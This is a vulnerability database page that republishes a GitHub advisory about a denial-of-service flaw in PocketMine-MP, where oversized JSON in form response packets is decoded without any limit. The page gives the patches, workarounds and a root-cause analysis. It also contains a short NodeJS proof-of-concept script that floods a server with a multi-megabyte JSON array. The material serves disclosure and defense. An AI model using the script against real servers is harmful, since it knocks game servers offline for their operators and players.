N/A

CVSS Score

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

GHSA-788v-5pfp-93ff

GHSA-788v-5pfp-93ff: PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts:

cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

checking the max size of the formData field
making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

Join a PocketMine-MP server as a regular player (no special permissions needed).
Use a modified client or packet-sending script to send a ModalFormResponsePacket with:
- Any non-existent formId
- formData containing a massive JSON array (e.g., 10+ MB payload).
The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});

(GitHub Advisory)

Miggo Vulnerability Database

→

GHSA-788v-5pfp-93ff

GHSA-788v-5pfp-93ff:

N/A

CVSS Score

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
pocketmine/pocketmine-mp	composer	< 5.39.2	5.39.2

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The analysis of the provided patches pinpoints InGamePacketHandler::handleModalFormResponse as the vulnerable function. The vulnerability stems from the lack of input validation on the formData field within the ModalFormResponsePacket. Before the patches, the function would directly pass this data to json_decode. The exploit PoC demonstrates that sending a massive JSON array would cause the server to freeze. The patches address this directly. Commit cef1088341e40ee7a6fa079bca47a84f3524d877 introduces a size check using strlen on $packet->formData to cap the payload size at 10 KB. Commit f983f4f66d5e72d7a07109c8175799ab0ee771d5 adds a check to ensure the formId is valid and pending for the player before any decoding is attempted. These changes confirm that the handleModalFormResponse function was the entry point for the malicious data and the location of the processing flaw.

Vulnerable functions

InGamePacketHandler::handleModalFormResponse

src/network/mcpe/handler/InGamePacketHandler.php

The function `handleModalFormResponse` is vulnerable because it processes JSON data from a `ModalFormResponsePacket` without validating the size of the payload or whether the form ID is legitimate. An attacker could send a packet with a massive JSON payload, causing the server to expend significant CPU and memory resources to decode it, leading to a denial of service. The vulnerability is compounded by the fact that the server would attempt to decode this data even if the form ID didn't correspond to an active form for the player.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.